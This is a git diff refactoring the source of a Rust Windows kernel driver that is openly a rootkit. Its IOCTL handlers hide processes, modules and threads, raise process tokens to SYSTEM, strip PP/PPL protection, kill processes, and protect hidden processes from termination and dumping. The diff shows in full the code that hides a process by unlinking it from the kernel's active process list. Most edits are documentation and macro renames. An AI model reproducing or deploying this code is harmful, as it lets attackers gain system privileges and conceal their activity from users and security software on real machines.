+        let status = unsafe { handle!(stack, Module::hide_module, TargetModule) };
-        
         unsafe { (*irp).IoStatus.Information = 0};
         
         match status {

driver/src/module/mod.rs

@@ -9,9 +9,9 @@ use {
         _MODE::KernelMode
     },
     crate::{
-        includes::{
+        internals::{
             structs::MMVAD_SHORT, vad::MMVAD, 
-            MmCopyVirtualMemory, PsGetProcessPeb
+            externs::{MmCopyVirtualMemory, PsGetProcessPeb}
         }, 
         process::Process, utils::{pool::PoolMemory, process_attach::ProcessAttach}
     }, 
@@ -30,11 +30,13 @@ impl Module {
     /// Enumerates modules in a given target process.
     /// 
     /// # Parameters
+    /// 
     /// - `process`: A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated.
     /// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules.
     /// - `information`: A mutable reference to a `usize` that will store additional information about the module enumeration.
     ///
     /// # Returns
+    /// 
     /// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status.
     ///
     pub unsafe fn enumerate_module(process: *mut TargetProcess, module_info: *mut ModuleInfo, information: &mut usize) -> Result<(), NTSTATUS> {
@@ -120,9 +122,11 @@ impl Module {
     /// Hides a module in a target process by removing its entries from the module list.
     ///
     /// # Parameters
+    /// 
     /// - `target`: A pointer to a `TargetModule` structure containing information about the module to be hidden.
     ///
     /// # Returns
+    /// 
     /// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module is successfully hidden, otherwise returns an appropriate error status.
     ///
     pub unsafe fn hide_module(target: *mut TargetModule) -> Result<(), NTSTATUS> {
@@ -185,10 +189,12 @@ impl Module {
     /// Removing the module name in the FILE_OBJECT structure.
     ///
     /// # Parameters
+    /// 
     /// - `target_address`: The address of the module to hide.
     /// - `target_eprocess`: The target process structure.
     ///
     /// # Returns
+    /// 
     /// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status.
     ///
     pub unsafe fn hide_object(target_address: u64, target_eprocess: Process) -> Result<(), NTSTATUS> {
@@ -250,6 +256,7 @@ impl Module {
     /// Removes a link from the list.
     ///
     /// # Parameters
+    /// 
     /// - `list`: A mutable reference to the `LIST_ENTRY` structure to unlink.
     /// 
     unsafe fn remove_link(list: &mut LIST_ENTRY) {

driver/src/process/callback.rs

@@ -5,7 +5,10 @@ use {
     core::ffi::c_void,
     spin::{Mutex, lazy::Lazy}, 
     shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PIDS},
-    winapi::um::winnt::{PROCESS_CREATE_THREAD, PROCESS_TERMINATE, PROCESS_VM_OPERATION, PROCESS_VM_READ},
+    winapi::um::winnt::{
+        PROCESS_CREATE_THREAD, PROCESS_TERMINATE, 
+        PROCESS_VM_OPERATION, PROCESS_VM_READ
+    },
     wdk_sys::{
         ntddk::PsGetProcessId,
         _OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS},
@@ -24,12 +27,13 @@ static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_
 /// Method to check if the action sent is to add or remove a pid from the list of protected processes
 ///
 /// # Parameters
+/// 
 /// - `process`: Structure with information about the process that will be added or removed from the list of protected processes.
 ///
 /// # Returns
+/// 
 /// - `NTSTATUS`: A status code indicating the success or failure of the operation.
 /// 
-///
 pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS {
     let pid = unsafe { (*process).pid };
     if unsafe { (*process).enable } {
@@ -42,9 +46,11 @@ pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS {
 /// Method for adding the list of processes that will have anti-kill / dumping protection.
 ///
 /// # Parameters
+/// 
 /// - `pid`: The identifier of the target process (PID) to be hidden.
 ///
 /// # Returns
+/// 
 /// - `NTSTATUS`: A status code indicating the success or failure of the operation.
 /// 
 fn add_target_pid(pid: usize) -> NTSTATUS {
@@ -68,9 +74,11 @@ fn add_target_pid(pid: usize) -> NTSTATUS {
 /// Method for removing the list of processes that will have anti-kill / dumping protection.
 ///
 /// # Parameters
+/// 
 /// - `pid`: The identifier of the target process (PID) to be hidden.
 ///
 /// # Returns
+/// 
 /// - `NTSTATUS`: A status code indicating the success or failure of the operation.
 /// 
 fn remove_target_pid(pid: usize) -> NTSTATUS {
@@ -88,10 +96,12 @@ fn remove_target_pid(pid: usize) -> NTSTATUS {
 /// Enumerate Processes Protect.
 ///
 /// # Parameters
+/// 
 /// - `info_process`: It is a parameter of type `InfoProcesses` that will send the processes that are currently protected.
 /// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `InfoProcesses` structures.
 /// 
-/// # Return
+/// # Returns
+/// 
 /// - `NTSTATUS`: A status code indicating success or failure of the operation.
 ///
 pub unsafe fn enumerate_protection_processes(info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS {
@@ -111,10 +121,12 @@ pub unsafe fn enumerate_protection_processes(info_process: *mut ProcessListInfo,
 /// This function is registered as a callback and is called by the operating system before a process opening operation is completed.
 ///
 /// # Parameters
+/// 
 /// - `_registration_context`: Pointer to record context (Not used).
 /// - `info`: Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation.
 ///
 /// # Returns
+/// 
 /// - `_OB_PREOP_CALLBACK_STATUS::Type`: A status code indicating the success or failure of the operation.
 ///
 pub unsafe extern "C" fn on_pre_open_process(
@@ -130,7 +142,6 @@ pub unsafe extern "C" fn on_pre_open_process(
     let pids = TARGET_PIDS.lock();
 
     if pids.contains(&pid) {
-        log::info!("Anti-Kill / Dumping actived with PID => {pid}");
         let mask = !(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE | PROCESS_TERMINATE);
         (*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
     }

driver/src/process/ioctls.rs

@@ -10,7 +10,7 @@ use {
         }
     },
     wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
-    crate::{handle_process, process::Process, utils::ioctls::IoctlHandler},
+    crate::{handle, process::Process, utils::ioctls::IoctlHandler},
 };
 
 #[cfg(not(feature = "mapper"))]
@@ -19,14 +19,19 @@ use {
     shared::structs::ProcessProtection,
 };
 
+/// Registers the IOCTL handlers for process-related operations.
+///
+/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
+/// their respective IOCTL codes. The two operations supported are:
+///
+/// # Parameters
+/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the process-related
+///   IOCTL handlers will be inserted.
+///
 pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
-
     // Elevates the specified process to system privileges.
     ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-        log::info!("Received IOCTL_ELEVATE_PROCESS");
+        let status = unsafe { handle!(stack, Process::elevate_process, TargetProcess) };
-        
-        let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) };
-        
         unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; }
         
         match status {
@@ -37,18 +42,15 @@ pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
 
     // Hide / Unhide the specified process.
     ioctls.insert(IOCTL_HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-        log::info!("Received IOCTL_HIDE_UNHIDE_PROCESS");
+        let status = unsafe { handle!(stack, Process::process_toggle, ProcessInfoHide) };
-        let status = unsafe { handle_process!(stack, Process::process_toggle, ProcessInfoHide) };
         unsafe { (*irp).IoStatus.Information = size_of::<ProcessInfoHide>() as u64; }
+        
         status
     }) as IoctlHandler);
 
     // Terminate process.
     ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-        log::info!("Received IOCTL_TERMINATE_PROCESS");
+        let status = unsafe { handle!(stack, Process::terminate_process, TargetProcess) };
-        
-        let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) };
-        
         unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 };
         
         status
@@ -56,10 +58,7 @@ pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
 
     // Modifying the PP / PPL of a process.
     ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-        log::info!("Received IOCTL_SIGNATURE_PROCESS");
+        let status = unsafe { handle!(stack, Process::protection_signature, ProcessSignature) };
-        
-        let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) };
-        
         unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 };
         
         match status {
@@ -70,10 +69,10 @@ pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
 
     // Lists the processes currently hidden and protect.
     ioctls.insert(IOCTL_ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-        log::info!("Received IOCTL_ENUMERATION_PROCESS");
         let mut information = 0;
-        let status = unsafe { handle_process!(irp, stack, Process::enumerate_process_toggle, EnumerateInfoInput, ProcessListInfo, &mut information) };
+        let status = unsafe { handle!(irp, stack, Process::enumerate_process_toggle, EnumerateInfoInput, ProcessListInfo, &mut information) };
         unsafe { (*irp).IoStatus.Information = information as u64 };
+
         status
     }) as IoctlHandler);
 
@@ -82,9 +81,9 @@ pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
 
         // Responsible for adding shutdown protection / memory dumping for a process.
         ioctls.insert(IOCTL_PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_PROTECTION_PROCESS");
+            let status = unsafe { handle!(stack, add_remove_process_toggle, ProcessProtection) };
-            let status = unsafe { handle_process!(stack, add_remove_process_toggle, ProcessProtection) };
             unsafe { (*irp).IoStatus.Information = size_of::<ProcessProtection> as u64 };
+
             status
         }) as IoctlHandler);
     }

driver/src/process/mod.rs

@@ -4,7 +4,8 @@ use {
     alloc::{boxed::Box, vec::Vec}, 
     core::sync::atomic::{AtomicPtr, Ordering},
     shared::{
-        vars::{MAX_PIDS, Options},
+        vars::MAX_PIDS,
+        enums::Options,
         structs::{
             HiddenProcessInfo , ProcessListInfo, TargetProcess, 
             ProcessInfoHide, ProcessSignature, LIST_ENTRY, 
@@ -12,16 +13,22 @@ use {
         }, 
     }, 
     crate::{
-        includes::structs::PROCESS_SIGNATURE,
+        internals::structs::PROCESS_SIGNATURE,
-        utils::offsets::{get_offset_signature, get_offset_token, get_offset_unique_process_id},
+        utils::{
+            offsets::{
+                get_offset_signature, get_offset_token, 
+                get_offset_unique_process_id
+            },
+            with_push_lock_exclusive
+        },
     }, 
 };
 
 #[cfg(not(feature = "mapper"))]
 pub mod callback;
-pub mod ioctls;
 #[cfg(not(feature = "mapper"))]
 pub use callback::*;
+pub mod ioctls;
 
 /// List of target processes protected by a mutex.
 pub static PROCESS_INFO_HIDE: Lazy<Mutex<Vec<HiddenProcessInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PIDS))); 
@@ -36,9 +43,11 @@ impl Process {
     /// Creates a new `Process` instance by looking up a process by its PID.
     ///
     /// # Parameters
+    /// 
     /// - `pid`: The process identifier (PID) to look up.
     ///
     /// # Returns
+    /// 
     /// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`.
     ///
     #[inline]
@@ -57,9 +66,11 @@ impl Process {
     /// Toggle the visibility of a process based on the `enable` field of the `TargetProcess` structure.
     ///
     /// # Parameters
+    /// 
     /// - `process`:  A pointer to the `TargetProcess` structure.
     ///
     /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     pub unsafe fn process_toggle(process: *mut ProcessInfoHide) -> NTSTATUS {
@@ -74,9 +85,11 @@ impl Process {
     /// Hide a process by removing it from the list of active processes.
     ///
     /// # Parameters
+    /// 
     /// - `process`: The identifier of the target process (PID) to be hidden.
     ///
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     unsafe fn hide_process(pid: usize) -> Result<(), NTSTATUS> {
@@ -91,42 +104,41 @@ impl Process {
         let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY;
         let push_lock = process.e_process.cast::<u8>().offset(process_lock) as *mut u64;
 
-        ExAcquirePushLockExclusiveEx(push_lock, 0);
+        with_push_lock_exclusive(push_lock, || {
-
+            let next = (*list_entry).Flink; // Process (3)
-        let next = (*list_entry).Flink; // Process (3)
+            let previous = (*list_entry).Blink; // Process (1)
-        let previous = (*list_entry).Blink; // Process (1)
+            let list = LIST_ENTRY {
-        let list = LIST_ENTRY {
+                Flink: next as *mut LIST_ENTRY,
-            Flink: next as *mut LIST_ENTRY,
+                Blink: previous as *mut LIST_ENTRY,
-            Blink: previous as *mut LIST_ENTRY,
+            };
-        };
+    
-
+            let mut process_info = PROCESS_INFO_HIDE.lock();
-        let mut process_info = PROCESS_INFO_HIDE.lock();
+            let list_ptr = Box::into_raw(Box::new(list));
-        let list_ptr = Box::into_raw(Box::new(list));
+    
-
+            process_info.push(HiddenProcessInfo  {
-        process_info.push(HiddenProcessInfo  {
+                pid,
-            pid,
+                list_entry: AtomicPtr::new(list_ptr),
-            list_entry: AtomicPtr::new(list_ptr),
+            });
-        });
+    
-
+            (*next).Blink = previous;
-        (*next).Blink = previous;
+            (*previous).Flink = next;
-        (*previous).Flink = next;
+    
-
+            (*list_entry).Flink = list_entry;
-        (*list_entry).Flink = list_entry;
+            (*list_entry).Blink = list_entry;
-        (*list_entry).Blink = list_entry;
+                    
-
+            log::info!("Process with PID {pid} hidden successfully.");
-        log::info!("Process with PID {pid} hidden successfully.");
+            Ok(())
-
+        })
-        ExReleasePushLockExclusiveEx(push_lock, 0);
-
-        Ok(())
     }
 
     /// Unhide a process by removing it from the list of active processes.
     ///
     /// # Parameters
+    /// 
     /// - `process`: The identifier of the target process (PID) to be hidden.
     ///
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     unsafe fn unhide_process(pid: usize) -> Result<(), NTSTATUS> {
@@ -141,48 +153,47 @@ impl Process {
         let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY;
         let push_lock = process.e_process.cast::<u8>().offset(process_lock) as PULONG_PTR;
 
-        ExAcquirePushLockExclusiveEx(push_lock, 0);
+        with_push_lock_exclusive(push_lock, || {
+            // Restoring Flink / Blink
+            let mut process_info = PROCESS_INFO_HIDE.lock();
+            if let Some(index) = process_info.iter().position(|p| p.pid == pid) {
+                let process = &process_info[index];
+                let list = process.list_entry.load(Ordering::SeqCst);
+                if list.is_null() {
+                    log::error!("List entry stored in AtomicPtr is null");
+                    return Err(STATUS_INVALID_PARAMETER);
+                }
 
-        // Restoring Flink / Blink
+                (*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY;
-        let mut process_info = PROCESS_INFO_HIDE.lock();
+                (*list_entry).Blink = (*list).Blink as *mut _LIST_ENTRY;
-        if let Some(index) = process_info.iter().position(|p| p.pid == pid) {
+
-            let process = &process_info[index];
+                let next = (*list_entry).Flink; // Processo (3)
-            let list = process.list_entry.load(Ordering::SeqCst);
+                let previous = (*list_entry).Blink; // Processo (1)
-            if list.is_null() {
+
-                log::error!("List entry stored in AtomicPtr is null");
+                (*next).Blink = list_entry;
-                return Err(STATUS_INVALID_PARAMETER);
+                (*previous).Flink = list_entry;
+
+                process_info.remove(index);
+                log::info!("Process with PID {pid} unhidden successfully.");
+
+                Ok(())
+            } else {
+                log::info!("PID ({pid}) Not found");
+                Err(STATUS_UNSUCCESSFUL)
             }
-
+        })
-            (*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY;
-            (*list_entry).Blink = (*list).Blink as *mut _LIST_ENTRY;
-
-            let next = (*list_entry).Flink; // Processo (3)
-            let previous = (*list_entry).Blink; // Processo (1)
-
-            (*next).Blink = list_entry;
-            (*previous).Flink = list_entry;
-
-            process_info.remove(index);
-        } else {
-            log::info!("PID ({pid}) Not found");
-            ExReleasePushLockExclusiveEx(push_lock, 0);
-            return Err(STATUS_UNSUCCESSFUL);
-        }
-
-        log::info!("Process with PID {pid} unhidden successfully.");
-        ExReleasePushLockExclusiveEx(push_lock, 0);
-
-        Ok(())
     }
 
     /// Toggles the enumeration between hiding or protecting processes based on the options provided.
     ///
     /// # Parameters
+    /// 
     /// - `input_target`: Pointer to the enumeration information input structure.
     /// - `info_process`: Information structure of processes.
     /// - `information`: Pointer to a variable to store information size.
     ///
     /// # Returns
+    /// 
     /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
     /// 
     pub unsafe fn enumerate_process_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS {
@@ -204,10 +215,12 @@ impl Process {
     /// Enumerate Processes Hide.
     ///
     /// # Parameters
+    /// 
     /// - `info_process`: It is a parameter of type `ProcessListInfo` that will send the processes that are currently hidden.
     /// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `ProcessListInfo` structures.
     /// 
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     unsafe fn enumerate_hide_processes(info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS {
@@ -226,9 +239,11 @@ impl Process {
     /// Terminate a process specified by the PID (Process Identifier).
     ///
     /// # Parameters
+    /// 
     /// - `pid`: The identifier of the target process (PID) to terminate process.
     ///
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     pub unsafe fn terminate_process(process: *mut TargetProcess) -> NTSTATUS {
@@ -268,9 +283,11 @@ impl Process {
     /// Removing process signature (PP / PPL).
     ///
     /// # Parameters
+    /// 
     /// - `pid`: The identifier of the target process (PID) to remove protection.
     ///
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     pub unsafe fn protection_signature(signature_info: *mut ProcessSignature) -> Result<(), NTSTATUS> {
@@ -301,9 +318,11 @@ impl Process {
     /// to those of the system (NT AUTHORITY\SYSTEM).
     ///
     /// # Parameters
+    /// 
     /// - `pid`: The identifier of the target process (PID) whose token will be raised.
     ///
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     pub unsafe fn elevate_process(process: *mut TargetProcess) -> Result<(), NTSTATUS> {

driver/src/registry/callback.rs

@@ -30,11 +30,13 @@ pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() }
 /// The registry callback function handles registry-related operations based on the notification class.
 ///
 /// # Parameters
+/// 
 /// - `_callback_context`: A pointer to the callback context, usually not used.
 /// - `argument1`: A pointer to the notification class.
 /// - `argument2`: A pointer to the information related to the registry operation.
 ///
 /// # Returns
+/// 
 /// - `NTSTATUS`: A status code indicating the result of the operation.
 /// 
 pub unsafe extern "C" fn registry_callback(
@@ -73,9 +75,11 @@ pub unsafe extern "C" fn registry_callback(
 /// Handles the pre-delete key operation.
 ///
 /// # Parameters
+/// 
 /// - `info`: A pointer to `REG_DELETE_KEY_INFORMATION`.
 ///
 /// # Returns
+/// 
 /// - `NTSTATUS`: A status code indicating success or failure.
 /// 
 unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
@@ -101,9 +105,11 @@ unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
 /// Performs the post-operation to enumerate registry key values.
 ///
 /// # Parameters
+/// 
 /// - `info`: Pointer to the information structure of the post-execution logging operation.
 ///
-/// # Return
+/// # Returns
+/// 
 /// - `NTSTATUS`: Returns the status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`.
 /// 
 unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
@@ -175,9 +181,11 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
 /// Performs the post-operation to enumerate registry keys.
 ///
 /// # Parameters
+/// 
 /// - `info`: Pointer to the information structure of the post-execution logging operation.
 ///
-/// # Return
+/// # Returns
+/// 
 /// - `NTSTATUS`: Returns the status of the operation, keeping the original status if the previous operation failed.
 /// 
 unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
@@ -251,9 +259,11 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA
 /// Handles the pre-query key operation.
 ///
 /// # Parameters
+/// 
 /// - `info`: A pointer to `REG_QUERY_KEY_INFORMATION`.
 ///
 /// # Returns
+/// 
 /// - `NTSTATUS`: A status code indicating success or failure.
 /// 
 unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
@@ -279,9 +289,11 @@ unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
 /// Handles the pre-delete value key operation.
 ///
 /// # Parameters
+/// 
 /// - `info`: A pointer to `REG_DELETE_VALUE_KEY_INFORMATION`.
 ///
 /// # Returns
+/// 
 /// - `NTSTATUS`: A status code indicating success or failure.
 /// 
 unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS {
@@ -311,9 +323,11 @@ unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> N
 /// Handles the pre-set value key operation.
 ///
 /// # Parameters
+/// 
 /// - `info`: A pointer to `REG_SET_VALUE_KEY_INFORMATION`.
 ///
 /// # Returns
+/// 
 /// - `NTSTATUS`: A status code indicating success or failure.
 /// 
 unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS {
@@ -343,9 +357,11 @@ unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATU
 /// Reads the key name from the registry information.
 ///
 /// # Parameters
+/// 
 /// - `info`: A pointer to the registry information.
 ///
 /// # Returns
+/// 
 /// - `Result<String, NTSTATUS>`: The key name or an error status.
 /// 
 unsafe fn read_key<T: RegistryInfo>(info: *mut T) -> Result<String, NTSTATUS> {

driver/src/registry/ioctls.rs

@@ -13,8 +13,17 @@ use {
     wdk_sys::{IO_STACK_LOCATION, IRP}
 };
 
+/// Registers the IOCTL handlers for registry-related operations.
+///
+/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
+/// their respective IOCTL codes. The two operations supported are:
+///
+/// # Parameters
+/// 
+/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the registry-related
+///   IOCTL handlers will be inserted.
+///
 pub fn get_registry_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
-
     // Adding protection for registry key values.
     ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_REGISTRY_PROTECTION_VALUE");

driver/src/registry/mod.rs

@@ -33,10 +33,12 @@ trait RegistryList<T> {
     /// Adds an item to the registry list.
     ///
     /// # Parameters
+    /// 
     /// - `list`: A mutable reference to the list.
     /// - `item`: The item to be added.
     ///
     /// # Returns
+    /// 
     /// - `NTSTATUS`: Status code indicating success or failure of the operation.
     ///
     fn add_item(list: &mut Vec<T>, item: T) -> NTSTATUS;
@@ -44,10 +46,12 @@ trait RegistryList<T> {
     /// Removes an item from the registry list.
     ///
     /// # Parameters
+    /// 
     /// - `list`: A mutable reference to the list.
     /// - `item`: The item to be removed.
     ///
     /// # Returns
+    /// 
     /// - `NTSTATUS`: Status code indicating success or failure of the operation.
     ///
     fn remove_item(list: &mut Vec<T>, item: &T) -> NTSTATUS;
@@ -55,10 +59,12 @@ trait RegistryList<T> {
     /// Checks if an item is in the registry list.
     ///
     /// # Parameters
+    /// 
     /// - `list`: A reference to the list.
     /// - `item`: The item to be checked.
     ///
     /// # Returns
+    /// 
     /// - `bool`: Returns true if the item is in the list, or false otherwise.
     /// 
     fn contains_item(list: &Vec<T>, item: &T) -> bool;
@@ -137,9 +143,11 @@ impl Registry<(String, String)> {
     /// Adds or removes a key-value pair from the list of protected values.
     ///
     /// # Parameters
+    /// 
     /// - `target`: The `TargetRegistry` structure representing the key-value pair to be protected or removed.
     ///
     /// # Returns
+    /// 
     /// - `NTSTATUS`: Status code indicating success or failure of the operation.
     /// 
     pub fn add_remove_registry_toggle(target: *mut TargetRegistry, list_type: KeyListType) -> NTSTATUS {
@@ -187,10 +195,12 @@ impl Registry<String> {
     /// Adds or removes a key from the list of protected keys.
     ///
     /// # Parameters
+    /// 
     /// - `key`: The key to be protected or removed.
     /// - `enable`: A boolean indicating whether to add (true) or remove (false) the key.
     ///
     /// # Returns
+    /// 
     /// - `NTSTATUS`: Status code indicating success or failure of the operation.
     /// 
     pub fn add_remove_key_toggle(target: *mut TargetRegistry, list_type: KeyListType) -> NTSTATUS {
@@ -222,9 +232,11 @@ impl Registry<String> {
     /// Checks if the key is in the list of protected keys.
     ///
     /// # Parameters
+    /// 
     /// - `key`: The key being checked.
     ///
     /// # Returns
+    /// 
     /// - `bool`: Returns true if the key is in the list, or false otherwise.
     pub fn check_key(key: String, list: MutexGuard<Vec<String>>) -> bool {
         Vec::contains_item(&list, &key)

driver/src/thread/callback.rs

@@ -92,7 +92,7 @@ fn remove_target_tid(tid: usize) -> NTSTATUS {
 /// - `info_process`: It is a parameter of type `Infothreads` that will send the threads that are currently protected.
 /// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `Infothreads` structures.
 /// 
-/// # Return
+/// # Returns
 /// - `NTSTATUS`: A status code indicating success or failure of the operation.
 ///
 pub unsafe fn enumerate_protection_threads(info_process: *mut ThreadListInfo, information: &mut usize) -> NTSTATUS {

driver/src/thread/ioctls.rs

@@ -3,11 +3,14 @@ use {
     alloc::boxed::Box,
     hashbrown::HashMap,
     shared::{
-        ioctls::{IOCTL_ENUMERATION_THREAD, IOCTL_HIDE_UNHIDE_THREAD, IOCTL_PROTECTION_THREAD}, 
+        ioctls::{
+            IOCTL_ENUMERATION_THREAD, IOCTL_HIDE_UNHIDE_THREAD, 
+            IOCTL_PROTECTION_THREAD
+        }, 
         structs::{EnumerateInfoInput, TargetThread, ThreadListInfo}
     },
     wdk_sys::{IO_STACK_LOCATION, IRP},
-    crate::{handle_thread, thread::Thread, utils::ioctls::IoctlHandler},
+    crate::{handle, thread::Thread, utils::ioctls::IoctlHandler},
 };
 
 #[cfg(not(feature = "mapper"))]
@@ -16,21 +19,30 @@ use {
     shared::structs::ThreadProtection,
 };
 
+/// Registers the IOCTL handlers for thread-related operations.
+///
+/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
+/// their respective IOCTL codes. The two operations supported are:
+///
+/// # Parameters
+/// 
+/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the thread-related
+///   IOCTL handlers will be inserted.
+///
 pub fn get_thread_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
-
     // Hide the specified Thread by removing it from the list of active threads.
     ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_HIDE_UNHIDE_THREAD");
-        let status = unsafe { handle_thread!(stack, Thread::thread_toggle, TargetThread) };
+        let status = unsafe { handle!(stack, Thread::thread_toggle, TargetThread) };
         unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
         status
     }) as IoctlHandler);
 
-    // ?
+    // List hidden or protected threads.
     ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_ENUMERATION_THREAD");
         let mut information = 0;
-        let status = unsafe { handle_thread!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) };
+        let status = unsafe { handle!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) };
         unsafe { (*irp).IoStatus.Information = information as u64 };
         status
     }) as IoctlHandler);
@@ -38,7 +50,7 @@ pub fn get_thread_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
     // Responsible for adding thread termination protection.
     ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_PROTECTION_THREAD");
-        let status = unsafe { handle_thread!(stack, add_remove_thread_toggle, ThreadProtection) };
+        let status = unsafe { handle!(stack, add_remove_thread_toggle, ThreadProtection) };
         unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
         status
     }) as IoctlHandler);

driver/src/thread/mod.rs

@@ -2,17 +2,18 @@ use {
     spin::mutex::Mutex,
     alloc::{boxed::Box, vec::Vec}, 
     core::sync::atomic::{AtomicPtr, Ordering},
-    crate::utils::offsets::get_rundown_protect,
+    crate::utils::{offsets::get_rundown_protect, with_push_lock_exclusive},
     spin::lazy::Lazy,
     shared::{
-        structs::{HiddenThreadInfo, TargetThread, LIST_ENTRY, ThreadListInfo, EnumerateInfoInput}, 
+        structs::{
-        vars::{MAX_TIDS, Options}
+            HiddenThreadInfo, TargetThread, LIST_ENTRY, 
